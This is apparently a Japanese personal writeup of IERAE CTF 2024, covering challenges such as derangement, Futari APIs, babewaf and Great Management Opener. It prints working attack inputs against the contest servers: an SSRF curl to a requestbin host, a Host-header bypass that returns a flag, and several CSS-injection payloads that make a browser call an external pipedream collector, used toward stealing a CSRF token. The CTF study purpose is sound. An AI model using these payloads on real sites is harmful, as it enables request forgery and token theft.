👌

ierae-ctf 2024 writeup

2024/09/23に公開

お疲れ様でしたー。チームnyaのabc372_b_is_too_difficultとして出て72位でした。
ユーザー名の由来はabc372のbが解けなかったからです(えぇ・・・)

alt text

welcome

ディスコードでIERAE{とかで検索する

OMG

jsの中に書いてあるので実行するだけ
alt text

derangement

solverはファイル渡して適当にchatgptに作ってもらった。

pythonのファイルが降ってくる。15文字を生成して完全に乱数で混ぜられて降ってくる

def is_derangement(perm, original):
    return all(p != o for p, o in zip(perm, original))

def output_derangement(magic_word):
    while True:
        deranged = ''.join(random.sample(magic_word, len(magic_word)))
        if is_derangement(deranged, magic_word):
            print('hint:', deranged)
            break

zip(perm, original)はこう。

perm = ['a', 'b', 'c']
original = ['x', 'y', 'z']
list(zip(perm, original))  # [('a', 'x'), ('b', 'y'), ('c', 'z')]

要素の全ての文字が違うかどうかが↓

p != o for p, o in zip(perm, original)

all()・・・全て。
つまり全部の文字の位置が正解と違う場所ということ。300回まで試行できるので適当に試したら通った。これ何通りなんだ。

Futari APIs

ブルアカじゃねーか!
タイトルの元ネタが分かりませんでした。ブルアカやってる先生がいたら教えてください。
https://bluearchive.wikiru.jp/?イベント53_学漫同人物語~2人が求める最終回~
alt text

解法は簡単でuserを検索しに行くのでrequestbinなどを使ってアクセスを記録する。
https://public.requestbin.com/

❯ curl 'http://34.81.219.110:3000/search?user=https://enceenkmv9a4f.x.pipedream.net/'
{"success":true}

Weak PRNG

解けなかった。
モモテクに未来のメルセンヌツイスターの挙動は載っていた。実際コードを動かしてみたら予測できて面白かった。
https://inaz2.hatenablog.com/entry/2016/03/07/194147

過去はどうすればいいか。
https://www.youtube.com/live/Hka2ewHxjQg
https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state
https://ctf.zeyu2001.com/2021/zh3ro-ctf-v2/twist-and-shout#recovering-the-previous-state

babewaf

解けなかった。めちゃくちゃ悔しい。

https://blog.arkark.dev/2023/12/28/seccon-finals/
↑元ネタ
https://y0d3n.hatenablog.com/entry/2024/03/25/200255

これは通る

1even4-ctf/ierae-ctf2024/GreatManagementOpener via 🐍 v3.12.4 on ☁️   
❯ curl -L 'http://34.80.179.247:3000/\u202egivemeflag' -v
*   Trying 34.80.179.247:3000...
* Connected to 34.80.179.247 (34.80.179.247) port 3000
> GET /\u202egivemeflag HTTP/1.1
> Host: 34.80.179.247:3000
> User-Agent: curl/8.6.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: text/html; charset=utf-8
< Content-Length: 4
< ETag: W/"4-uq/1hyTBnjVczby+znQwFGiTsYc"
< Date: Sat, 21 Sep 2024 16:22:37 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< 
* Connection #0 to host 34.80.179.247 left intact
🚩%       

大文字小文字を変えたgivemeFlagとかだとbackendまで辿り着くけど404になっちゃうし・・・
まぁでもexpressが大文字小文字を区別しないの知見だったな・・・
あとunicord encodingとかも知見だった。

writeupを見た。unicode encodingでガチャガチャやるタイプかと思ったら全然違うし…ひたすら時間溶かしてた。
https://blog.hamayanhamayan.com/entry/2024/09/22/152725#misc-OMG

通らない・・・

echo -e "GET / HTTP/1.1\r\nHost: localhost:3000\r\n\r\n" | nc 0.0.0.0 3000

全然行けないけどこれはいけたので、expressが悪いだけかも
alt text

st98さんはcurlで通してる

host書き換えるのはままある認識だけどexpresshonoって末尾に?つけるだけでこんな挙動変わるのか…
てかdockercompose降ってきてるんだからデバッグしながら動かすのやっぱ大切だなと思いました。

zenn on  main [!] is 📦 v0.1.0 via 🥟 v1.1.29 via ⬢ on ☁️   
❯ curl "http://localhost:3000" -L -v -H "Host: hoge/givemeflag" 
* Host localhost:3000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:3000...
* Connected to localhost (::1) port 3000
> GET / HTTP/1.1
> Host: hoge/givemeflag
> User-Agent: curl/8.6.0
> Accept: */*
> 
< HTTP/1.1 404 Not Found
< X-Powered-By: Express
< content-type: text/plain; charset=UTF-8
< vary: Accept-Encoding
< content-length: 13
< date: Sun, 22 Sep 2024 13:41:01 GMT
< connection: keep-alive
< 
* Connection #0 to host localhost left intact
404 Not Found%                                                                                                               

zenn on  main [!] is 📦 v0.1.0 via 🥟 v1.1.29 via ⬢ on ☁️   
❯ curl "http://localhost:3000/piyo" -L -v -H "Host: hoge/givemeflag?"
* Host localhost:3000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:3000...
* Connected to localhost (::1) port 3000
> GET /piyo HTTP/1.1
> Host: hoge/givemeflag?
> User-Agent: curl/8.6.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< X-Powered-By: Express
< content-type: text/plain;charset=UTF-8
< vary: Accept-Encoding
< content-length: 12
< date: Sun, 22 Sep 2024 13:41:18 GMT
< connection: keep-alive
< 
* Connection #0 to host localhost left intact
IERAE{dummy}%           

全然挙動違って面白い
alt text

zenn on  main is 📦 v0.1.0 via 🥟 v1.1.29 via ⬢ on ☁️   
❯ curl "http://35.229.187.38:3000"  -H "a/givemeflag?"        
<!DOCTYPE html>
<html>

<body>
    <div style="transform: rotate(-5deg);">
        <h1>Do you want a flag?</h1>
        <button id="button" style="font-size: 3rem; transform: rotate(15deg) translatex(5rem);">
            Click me!
        </button>
    </div>
    <script>
        button.addEventListener("click", async () => {
            const flag = await fetch("/givemeflag").then((r) => r.text());
            alert(flag);
        });
    </script>
</body>

</html>%                                                                                                                     

zenn on  main is 📦 v0.1.0 via 🥟 v1.1.29 via ⬢ on ☁️   
❯ curl "http://35.229.187.38:3000" -H "Host: a/givemeflag?"   
IERAE{hono_1s_h0t_b4by}%   

これがhonoの挙動なのかexpressの挙動なのかよく分かってないので追加で試してみる。

追加調査

bun create hono@latestで適当にlocalhostで立てて試してみた

import { Hono } from 'hono'

const app = new Hono()

app.get('/', (c) => {
  return c.text('Hello Hono!')
})

app.get('/givemeflag', (c) => {
  return c.text('here is flag!')
})

export default app

honoの挙動っぽい

hono-playground on  main [!] via 🥟 v1.1.29 via ⬢ on ☁️   
❯ curl "localhost:3000/nya" -v -H "Host: a/givemeflag?"
* Host localhost:3000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:3000...
* Connected to localhost (::1) port 3000
> GET /nya HTTP/1.1
> Host: a/givemeflag?
> User-Agent: curl/8.6.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< content-type: text/plain;charset=utf-8
< Date: Mon, 23 Sep 2024 06:07:18 GMT
< Content-Length: 13
< 
* Connection #0 to host localhost left intact
here is flag!%                                                                              

expressの場合はhostをいじってもそこまで変化はありませんでした。

This is warmup

解けなかった。
全然通らなくてガチャガチャしてたけど、人々も解けてなくて安心した、ctf界隈の人々が解けてないなら自分も解けてなくてもセーフ。

https://qiita.com/kusano_k/items/87d7b08333933557f083#this-is-warmup-pwn-warmup

https://ja.wikipedia.org/wiki/ファジング#アメリカンファジーロップ(American_Fuzzy_Lop,_AFL)
この辺こそfuzzer使えそうだなって思った。

aflを使ってみる

kaliで

afl-gcc chal.c
afl-fuzz

まではできるけどinputファイルが必要。ダメそう。

pwntoolsでブルートフォース

chatgptに入力だけ渡してソルバーを作らせたら作ってくれた。ただし現実的な時間では解けなさそうでした。ある程度枝刈りしてもダメそう。

assignment

elfバイナリが降ってきたのでghidraで見てflagがどうのこうの書いてあったのでchatgptに投げた。
https://chatgpt.com/share/66efda96-77d0-800e-87bf-bb88c554285f
alt text

Luz da Lua

タイトルを後で調べたら月光って意味らしい。
alt text

デコンパイラを適当にネットから色々持ってきたがバージョンが通らなかったり苦労したが最終的に下記で通った。

java -jar unluac_2023_12_24.jar LuzDaLua.luac > test.lua

中身はこんな感じ。適当にchatgptに投げた。
alt text

https://chatgpt.com/share/66efd95a-8200-800e-b252-d1c413f0c3cb

Great Management Opener

頭文字を取ると極悪ドメインサービス 、お名前.comみたいなタイトルの問題。
解けなかった。

明らかにxss的なことができそうな問題サーバーと裏でクロールするadmin botが提供されている。

Challengeサーバーで登録とログインはできるがadminに行こうとすると弾かれる。
adminサーバーにrequestbinのurlを入れると徘徊はしてくれるが特にセッションidなどは残さない。
チャレンジサーバーを入れてもokしか返ってこなかった。:thinking_face:

https://blog.hamayanhamayan.com/entry/2024/09/22/152725#misc-OMG
writeupを見た。落ち着いてadminのソースをみたら
/loginに行き、idとpwを入力し、ログイン後、inputに入れたurlに行き、30秒待つというコードになっている。
しかしコンテンツの内容や結果を出すわけではないので特に何もしてくれない。(ログインurlは固定でgotoだけ変わることに注意。)

この部分は気になっていた。

        return redirect(url_for('admin', message='Success make admin!'))

xssは出来そうで出来ないなーと思っていたが、init.pyを見れば良かったっぽい。
script-src 'self'; の指定があるのでselfドメイン以外はアクセスできず、style-srcは確かに特徴的。

とりあえず下記とかを試してみたがうまく通らない。

http://web:5000/?message=%3Cstyle%3E%40font-face%7Bfont-family%3A'hack'%3Bsrc%3Aurl('https%3A%2F%2Fens92azmi4q7.x.pipedream.net%2F%3Fname%3DHan%20Solo')%7Dbody%7Bfont-family%3A'hack'%7D%3C%2Fstyle%3E

http://web:5000/?message=%3Cdiv%20style=%22background-image%3A%20url('https%3A%2F%2Fens92azmi4q7.x.pipedream.net%2F%3Fname%3DHan%2520Solo')%3B%22%3E%3C%2Fdiv%3E

やっと飛んだ。link hrefってstyle-scrディレクティブにかかるんだ。にしても一文字違うだけだったり(空白がなかったり)、httpsだと飛ばなかったりして罠過ぎないか?

http://0.0.0.0:5000/?message=%3Clink%20rel=%27stylesheet%27%20href=%22http://ens92azmi4q7.x.pipedream.net%22%20/%3E

飛ばない例。requestbin、httpでも行けることにびっくり。

http://0.0.0.0:5000/?message=%3Clink%20rel=%27stylesheet%27%20href=%22https://ens92azmi4q7.x.pipedream.net/aa%22%20/%3E

通信さえ飛べばあとはxs-leakでcsrf_tokenが分かるので省略。
https://speakerdeck.com/ntomoya/ctfdechu-ti-saretaxs-leaks-a95f5b6a-134d-4537-a104-233ce9b8c56f?slide=34

ちなみにlocalhost:5000はmacだとデフォルトでairdropなどのControlCeというプロセスが占有しているみたい。最悪。
https://qiita.com/rune187/items/3f92baec61458e4e5949

これは実際のブラウザ(本番環境)でもリクエストくる

http://web:5000/?message=%3Clink%20rel=%27stylesheet%27%20href=%22http%3A%2F%2Fenceenkmv9a4f.x.pipedream.net%22%20/%3E

なぜか一定文字数以上だとlinkとして機能しなくなる???.net.comは通るが.workは切られた???謎すぎflaskの方でtruncateの処理が入っている。

http://web:5000/?message=%3Clink%20rel=%27stylesheet%27%20href=%22http%3A%2F%2Fenceenkmv9a4f.x.pipedream.net%2Fa%22%20/%3E

http://web:5000/?message=%3Clink+rel%3D%27stylesheet%27+href%3D%22http%3A%2F%2Fenceenkmv9a4f.x.pipedream.net%2Fa%3Fvba%3Dd%22+%2F%3E

王道のbackground: url()ではこれも飛んでそう。httpsとhttp

http://0.0.0.0:5000/?message=%3Cdiv%20style=%22background:%20url(%27http://enceenkmv9a4f.x.pipedream.net%27)%22%3E

別にクエリとかつけても解釈はされる、謎すぎ

            <div class="alert alert-secondary mt-3">
                <div style="background: url('http://d.x.pipedream.net/a?bb=ccc')">
            </div>
        

urlの仕様とか色々眺めてたけど、ここっぽさがある。
alt text

"<div style='background:url(http://enceenkmv9a4f.x.pipedream.net/fg)'>".length
69

まぁ微妙に64と違うけどその辺はjsとpythonの解釈違いということで

css injectionで使える短いプロパティについて

url() 関数は background, background-image, border, border-image, border-image-source, content, cursor, filter, list-style, list-style-image, mask, mask-image, offset-path, @font-face ブロック内での src, @counter-style/symbol の値として使用することができます。

リクエスト飛ぶ

http://0.0.0.0:5000/?message=%3Ca%20style=%22mask:url(http://enceenkmv9a4f.x.pipedream.net/gg?bb)%22%3E

http://0.0.0.0:5000/?message=%3Ca%20style=%22mask:url(http://ens92azmi4q7.x.pipedream.net/l?h=r)%22%3E

リクエスト飛ばない

http://0.0.0.0:5000/?message=%3Ca%20style=%22src:url(http://enceenkmv9a4f.x.pipedream.net/gg?bb)%22%3E

限界まで削る

http://0.0.0.0:5000/?message=%3Ca%20style=mask:url(http://enceenkmv9a4f.x.pipedream.net/gg?bb)%3E

ということで多分最小はmask。実際に飛ぶコンボだと<a style=mask:url(x)>だと思う

steal csrf

その後csrfを盗むときはwriteupにある通りblind css injectionをする必要があり、ホスト先にcssを用意して実際に読み取ってcss経由でリクエストを送信してflagを貯める必要がある。理解はしたが実際にホスティングが必要だしだるすぎる。
https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection#attribute-selector

5

解けなかった。悔しい。

jsは[]()+!の6つがあれば全ての処理を実行できる。

https://qiita.com/kusano_k/items/87d7b08333933557f083#5-misc-easy

https://qiita.com/shimgo2008/items/b7421974a1aab8131b43

https://ja.wikipedia.org/wiki/JSFuck
jsfuckの作者知ってる人だ・・・。社でbun shellの話出てたのに気づかなかったのかなり悔しい。

Discussion